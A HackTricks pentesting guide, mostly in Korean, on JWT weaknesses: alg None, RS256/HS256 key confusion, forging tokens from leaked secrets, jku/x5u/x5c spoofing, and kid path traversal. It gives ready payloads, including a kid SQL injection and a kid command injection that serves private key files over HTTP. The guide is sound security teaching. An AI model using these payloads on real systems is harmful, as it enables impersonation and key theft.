JWT ์ทจ์•ฝ์  (Json Web Tokens)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ๊ฒŒ์‹œ๋ฌผ์˜ ์ผ๋ถ€๋Š” ํ›Œ๋ฅญํ•œ ๊ฒŒ์‹œ๋ฌผ์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT๋ฅผ pentestํ•˜๊ธฐ ์œ„ํ•œ ํ›Œ๋ฅญํ•œ ๋„๊ตฌ์˜ ์ œ์ž‘์ž https://github.com/ticarpi/jwt_tool

๋น ๋ฅธ ์„ฑ๊ณผ

All Tests! ๋ชจ๋“œ๋กœ jwt_tool๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์ดˆ๋ก์ƒ‰ ์ค„์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์„ธ์š”

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

์šด์ด ์ข‹๋‹ค๋ฉด ๋„๊ตฌ๊ฐ€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด JWT๋ฅผ ์ž˜๋ชป ๊ฒ€์ฆํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ์ฐพ์•„์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๊ทธ๋Ÿฐ ๋‹ค์Œ, proxy์—์„œ ํ•ด๋‹น ์š”์ฒญ์„ ๊ฒ€์ƒ‰ํ•˜๊ฑฐ๋‚˜ jwt_ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ์š”์ฒญ์— ์‚ฌ์šฉ๋œ JWT๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

์„œ๋ช…์„ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  ๋ฐ์ดํ„ฐ๋งŒ ๋ณ€์กฐ

์„œ๋ช…์„ ๊ทธ๋Œ€๋กœ ๋‘” ์ฑ„ ๋ฐ์ดํ„ฐ๋งŒ ๋ณ€์กฐํ•ด์„œ ์„œ๋ฒ„๊ฐ€ ์„œ๋ช…์„ ๊ฒ€์ฆํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ โ€œadminโ€œ์œผ๋กœ ๋ณ€๊ฒฝํ•ด ๋ณด์„ธ์š”.

ํ† ํฐ์ด ๊ฒ€์ฆ๋˜๋Š”๊ฐ€?

  • ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ๊ฒ€์ฆ์ด ์ˆ˜ํ–‰๋˜๊ณ  ์žˆ์Œ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์˜ค๋ฅ˜์— ํฌํ•จ๋œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฐ˜ํ™˜๋œ ํŽ˜์ด์ง€์˜ ๋ณ€๊ฒฝ ๋˜ํ•œ ๊ฒ€์ฆ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ๋ณ€๊ฒฝ์ด ์—†์œผ๋ฉด ๊ฒ€์ฆ์ด ์ด๋ฃจ์–ด์ง€์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ด๋ฉฐ, ์ด๋•Œ payload ํด๋ ˆ์ž„์„ ๋ณ€์กฐํ•ด ์‹คํ—˜ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Origin

ํ”„๋ก์‹œ์˜ ์š”์ฒญ ๊ธฐ๋ก์„ ๊ฒ€์‚ฌํ•˜์—ฌ ํ† ํฐ์ด ์„œ๋ฒ„์ธก์—์„œ ์ƒ์„ฑ๋˜์—ˆ๋Š”์ง€ ํด๋ผ์ด์–ธํŠธ์ธก์—์„œ ์ƒ์„ฑ๋˜์—ˆ๋Š”์ง€ ํŒŒ์•…ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

  • ํด๋ผ์ด์–ธํŠธ ์ชฝ์—์„œ ์ฒ˜์Œ ๊ด€์ฐฐ๋œ ํ† ํฐ์€ ํ‚ค๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์ฝ”๋“œ์— ๋…ธ์ถœ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Œ์„ ์‹œ์‚ฌํ•˜๋ฉฐ, ์ถ”๊ฐ€ ์กฐ์‚ฌ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • ์„œ๋ฒ„ ์ธก์—์„œ ์ƒ์„ฑ๋œ ํ† ํฐ์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์•ˆ์ „ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

Duration

ํ† ํฐ์ด 24์‹œ๊ฐ„ ์ด์ƒ ์ง€์†๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”โ€ฆ ์–ด์ฉŒ๋ฉด ์ ˆ๋Œ€ ๋งŒ๋ฃŒ๋˜์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. โ€œexpโ€ ํ•„๋“œ๊ฐ€ ์žˆ๋‹ค๋ฉด ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. ์„œ๋ช…๋œ ํ† ํฐ์„ session cookie(์˜ˆ: n8n-auth)์— ๋„ฃ์–ด ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ์— ์†”ํŠธ๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์–ด๋„ ์‚ฌ์šฉ์ž/๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.

Modify the algorithm to None

์‚ฌ์šฉ๋˜๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ โ€œNoneโ€œ์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์„œ๋ช… ๋ถ€๋ถ„์„ ์ œ๊ฑฐํ•œ๋‹ค.

Burp ํ™•์žฅ๊ธฐ๋Šฅ์ธ โ€œJSON Web Tokenโ€œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด ์ทจ์•ฝ์ ์„ ์‹œ๋„ํ•˜๊ณ  JWT ๋‚ด๋ถ€์˜ ๋‹ค์–‘ํ•œ ๊ฐ’์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค(์š”์ฒญ์„ Repeater๋กœ ๋ณด๋‚ด๊ณ  โ€œJSON Web Tokenโ€ ํƒญ์—์„œ ํ† ํฐ์˜ ๊ฐ’์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋˜ํ•œ โ€œAlgโ€ ํ•„๋“œ์˜ ๊ฐ’์„ โ€œNoneโ€œ์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜๋„ ์žˆ๋‹ค).

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

HS256 ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ๋น„๋ฐ€ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ ๋ฉ”์‹œ์ง€๋ฅผ ์„œ๋ช…ํ•˜๊ณ  ๊ฒ€์ฆํ•œ๋‹ค.
RS256 ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ๊ฐœ์ธ ํ‚ค๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ์„œ๋ช…ํ•˜๊ณ  ๊ณต๊ฐœ ํ‚ค๋กœ ์ธ์ฆํ•œ๋‹ค.

RS256์—์„œ HS256์œผ๋กœ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ๋ณ€๊ฒฝํ•˜๋ฉด, ๋ฐฑ์—”๋“œ ์ฝ”๋“œ๋Š” ๊ณต๊ฐœ ํ‚ค๋ฅผ ๋น„๋ฐ€ ํ‚ค๋กœ ์‚ฌ์šฉํ•œ ๋’ค HS256 ์•Œ๊ณ ๋ฆฌ์ฆ˜์œผ๋กœ ์„œ๋ช…์„ ๊ฒ€์ฆํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  RS256์„ HS256์œผ๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ์œ ํšจํ•œ ์„œ๋ช…์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. ์›น ์„œ๋ฒ„์˜ ์ธ์ฆ์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ํ—ค๋” ์•ˆ์˜ ์ƒˆ๋กœ์šด ๊ณต๊ฐœ ํ‚ค

๊ณต๊ฒฉ์ž๋Š” ํ† ํฐ์˜ ํ—ค๋”์— ์ƒˆ ํ‚ค๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ ์ด ์ƒˆ ํ‚ค๋กœ ์„œ๋ช…์„ ๊ฒ€์ฆํ•œ๋‹ค (CVE-2018-0114).

์ด๊ฒƒ์€ โ€œJSON Web Tokensโ€ Burp extension.\ (์š”์ฒญ์„ Repeater๋กœ ๋ณด๋‚ด๊ณ , JSON Web Token ํƒญ์—์„œ โ€œCVE-2018-0114โ€œ๋ฅผ ์„ ํƒํ•œ ๋’ค ์š”์ฒญ์„ ์ „์†ก).

JWKS ์Šคํ‘ธํ•‘

์ง€์นจ์€ ํŠนํžˆ โ€œjkuโ€ ํ—ค๋” ํด๋ ˆ์ž„์„ ์‚ฌ์šฉํ•˜๋Š” JWT ํ† ํฐ์˜ ๋ณด์•ˆ์„ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•œ๋‹ค. ์ด ํด๋ ˆ์ž„์€ ํ† ํฐ ๊ฒ€์ฆ์— ํ•„์š”ํ•œ ๊ณต๊ฐœ ํ‚ค๋ฅผ ํฌํ•จํ•˜๋Š” JWKS (JSON Web Key Set) ํŒŒ์ผ๋กœ ์—ฐ๊ฒฐ๋˜์–ด์•ผ ํ•œ๋‹ค.

  • โ€œjkuโ€ ํ—ค๋”๊ฐ€ ์žˆ๋Š” ํ† ํฐ ํ‰๊ฐ€:

  • โ€˜jkuโ€™ ํด๋ ˆ์ž„์˜ URL์ด ์ ์ ˆํ•œ JWKS ํŒŒ์ผ๋กœ ์—ฐ๊ฒฐ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

  • ํ† ํฐ์˜ โ€˜jkuโ€™ ๊ฐ’์„ ์ œ์–ด ๊ฐ€๋Šฅํ•œ ์›น ์„œ๋น„์Šค๋กœ ๋ณ€๊ฒฝํ•˜์—ฌ ํŠธ๋ž˜ํ”ฝ์„ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

  • HTTP ์ƒํ˜ธ์ž‘์šฉ ๋ชจ๋‹ˆํ„ฐ๋ง:

  • ์ง€์ •ํ•œ URL๋กœ์˜ HTTP ์š”์ฒญ์„ ๊ด€์ฐฐํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ œ๊ณตํ•œ ๋งํฌ์—์„œ ํ‚ค๋ฅผ ๊ฐ€์ ธ์˜ค๋ ค๊ณ  ์‹œ๋„ํ–ˆ์Œ์„ ๋‚˜ํƒ€๋‚ธ๋‹ค.

  • ์ด ์ ˆ์ฐจ์—์„œ jwt_tool์„ ์‚ฌ์šฉํ•  ๋•Œ๋Š” ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด jwtconf.ini ํŒŒ์ผ์„ ๊ฐœ์ธ JWKS ์œ„์น˜๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค.

  • jwt_tool ๋ช…๋ น:

  • ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ jwt_tool๋กœ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ํ•œ๋‹ค:

python3 jwt_tool.py JWT_HERE -X s

Kid ๋ฌธ์ œ ๊ฐœ์š”

์„ ํƒ์  ํ—ค๋” ํด๋ ˆ์ž„์ธ kid๋Š” ํŠน์ • ํ‚ค๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ํŠนํžˆ ์—ฌ๋Ÿฌ ํ‚ค๊ฐ€ ์กด์žฌํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ ํ† ํฐ ์„œ๋ช… ๊ฒ€์ฆ์— ์ค‘์š”ํ•˜๋‹ค. ์ด ํด๋ ˆ์ž„์€ ํ† ํฐ ์„œ๋ช…์„ ๊ฒ€์ฆํ•  ์ ์ ˆํ•œ ํ‚ค๋ฅผ ์„ ํƒํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค€๋‹ค.

kid๋ฅผ ํ†ตํ•œ ํ‚ค ๋…ธ์ถœ

ํ—ค๋”์— kid ํด๋ ˆ์ž„์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ํŒŒ์ผ ๋˜๋Š” ๊ทธ ๋ณ€ํ˜•์„ ์›น ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด "kid":"key/12345"๊ฐ€ ์ง€์ •๋˜์–ด ์žˆ๋‹ค๋ฉด ์›น ๋ฃจํŠธ์—์„œ _/key/12345_์™€ /key/12345.pem ํŒŒ์ผ์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค.

Path Traversal with kid

kid ํด๋ ˆ์ž„์€ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ํƒ์ƒ‰ํ•˜๋Š” ๋ฐ ์•…์šฉ๋˜์–ด ์ž„์˜์˜ ํŒŒ์ผ์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. kid ๊ฐ’์„ ํŠน์ • ํŒŒ์ผ์ด๋‚˜ ์„œ๋น„์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ๋ณ€๊ฒฝํ•˜์—ฌ ์—ฐ๊ฒฐ์„ฑ์„ ํ…Œ์ŠคํŠธํ•˜๊ฑฐ๋‚˜ Server-Side Request Forgery (SSRF) ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์›๋ž˜ ์„œ๋ช…์„ ์œ ์ง€ํ•˜๋ฉด์„œ kid ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜๋„๋ก JWT๋ฅผ ๋ณ€์กฐํ•˜๋Š” ๊ฒƒ์€ ์•„๋ž˜์— ์˜ˆ์‹œ๋œ jwt_tool์˜ -T ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, itโ€™s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via โ€œkidโ€

kid ํด๋ ˆ์ž„์˜ ๋‚ด์šฉ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ์‚ฌ์šฉ๋œ๋‹ค๋ฉด, kid ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณ€๊ฒฝํ•จ์œผ๋กœ์จ SQL Injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. JWT ์„œ๋ช… ๊ณผ์ •์„ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด SQL Injection์„ ์ด์šฉํ•œ ์˜ˆ์‹œ ํŽ˜์ด๋กœ๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

non-existent-index' UNION SELECT 'ATTACKER';-- -

์ด ๋ณ€๊ฒฝ์€ JWT ์„œ๋ช…์„ ์œ„ํ•ด ์•Œ๋ ค์ง„ ๋น„๋ฐ€ ํ‚ค, ATTACKER, ๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.

OS Injection through โ€œkidโ€

kid ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋ช…๋ น ์‹คํ–‰ ์ปจํ…์ŠคํŠธ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜๋Š” ๊ฒฝ์šฐ, Remote Code Execution (RCE) ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. kid ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋ช…๋ น์„ ์ฃผ์ž…ํ•˜๋ฉด private keys๋ฅผ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. RCE์™€ ํ‚ค ๋…ธ์ถœ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ์˜ˆ์‹œ ํŽ˜์ด๋กœ๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
ํ† ํฐ์ด โ€œjkuโ€ Header ํด๋ ˆ์ž„์„ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด ์ œ๊ณต๋œ URL์„ ํ™•์ธํ•˜์„ธ์š”. ์ด URL์€ ํ† ํฐ ๊ฒ€์ฆ์„ ์œ„ํ•œ Public Key๋ฅผ ํฌํ•จํ•œ JWKS ํŒŒ์ผ์„ ๊ฐ€๋ฆฌ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค. jku ๊ฐ’์„ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์„œ๋น„์Šค๋กœ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ† ํฐ์„ ๋ณ€์กฐํ•˜์„ธ์š”.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

๊ทธ๋Ÿฐ ๋‹ค์Œ ์˜ˆ๋ฅผ ๋“ค์–ด jwt.io๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ JWT๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ƒ์„ฑํ•œ ๊ณต๊ฐœ ๋ฐ ๊ฐœ์ธ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  parameter jku๊ฐ€ ์ƒ์„ฑํ•œ ์ธ์ฆ์„œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์œ ํšจํ•œ jku ์ธ์ฆ์„œ๋ฅผ ๋งŒ๋“ค๋ ค๋ฉด ์›๋ณธ์„ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ํ•„์š”ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฐœ ์ธ์ฆ์„œ์—์„œ โ€œeโ€œ์™€ โ€œnโ€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. PEM ํ˜•์‹์œผ๋กœ ์ธ์ฝ”๋”ฉ๋œ X.509(์ธ์ฆ์„œ ํ˜•์‹ ํ‘œ์ค€) ๊ณต๊ฐœ ์ธ์ฆ์„œ ์ง‘ํ•ฉ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” URI์ž…๋‹ˆ๋‹ค. ์ง‘ํ•ฉ์˜ ์ฒซ ๋ฒˆ์งธ ์ธ์ฆ์„œ๋Š” ์ด JWT๋ฅผ ์„œ๋ช…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ์ธ์ฆ์„œ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„์˜ ์ธ์ฆ์„œ๋“ค์€ ๊ฐ๊ฐ ์ด์ „ ์ธ์ฆ์„œ๋ฅผ ์„œ๋ช…ํ•˜์—ฌ ์ธ์ฆ์„œ ์ฒด์ธ์„ ์™„์„ฑํ•ฉ๋‹ˆ๋‹ค. X.509๋Š” RFC 52807์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ์„œ๋ฅผ ์ „์†กํ•˜๋ ค๋ฉด ์ „์†ก ๋ณด์•ˆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” URL๋กœ ์ด ํ—ค๋”๋ฅผ ๋ณ€๊ฒฝํ•ด ๋ณด๊ณ  ์š”์ฒญ์ด ์ˆ˜์‹ ๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ JWT๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ๋กœ์šด token์„ ์œ„์กฐํ•˜๋ ค๋ฉด, ์ธ์ฆ์„œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ณต๊ฐœ ํ‚ค์™€ ๊ฐœ์ธ ํ‚ค๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

๊ทธ๋Ÿฐ ๋‹ค์Œ ์˜ˆ๋ฅผ ๋“ค์–ด jwt.io๋ฅผ ์‚ฌ์šฉํ•ด ์ƒ์„ฑํ•œ public ๋ฐ private ํ‚ค๋กœ ์ƒˆ JWT๋ฅผ ๋งŒ๋“ค๊ณ  ํŒŒ๋ผ๋ฏธํ„ฐ x5u๋ฅผ ์ƒ์„ฑ๋œ ์ธ์ฆ์„œ .crt๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ๋‘ ์ทจ์•ฝ์  ๋ชจ๋‘๋ฅผ SSRFs์— ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

x5c

์ด ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ์ธ์ฆ์„œ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋‹ค:

๊ณต๊ฒฉ์ž๊ฐ€ ์ž๊ฐ€ ์„œ๋ช… ์ธ์ฆ์„œ(self-signed certificate)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํ•ด๋‹น private key๋กœ ์œ„์กฐ๋œ ํ† ํฐ์„ ์ƒ์„ฑํ•œ ๋’ค โ€œx5cโ€ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์„ ์ƒˆ๋กœ ์ƒ์„ฑํ•œ ์ธ์ฆ์„œ๋กœ ๊ต์ฒดํ•˜๊ณ  ๋‹ค๋ฅธ ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค, ์ฆ‰ n, e ๋ฐ x5t๋ฅผ ์ˆ˜์ •ํ•˜๋ฉด ๊ฒฐ๊ตญ ์„œ๋ฒ„๋Š” ๊ทธ ์œ„์กฐ๋œ ํ† ํฐ์„ ์ˆ˜๋ฝํ•˜๊ฒŒ ๋œ๋‹ค.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

๋‚ด์žฅ๋œ ๊ณต๊ฐœ ํ‚ค (CVE-2018-0114)

JWT์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‹œ๋‚˜๋ฆฌ์˜ค์ฒ˜๋Ÿผ ๊ณต๊ฐœ ํ‚ค๊ฐ€ ๋‚ด์žฅ๋˜์–ด ์žˆ๋‹ค๋ฉด:

๋‹ค์Œ nodejs ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋กœ๋ถ€ํ„ฐ ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="โ€‹ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"โ€‹;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

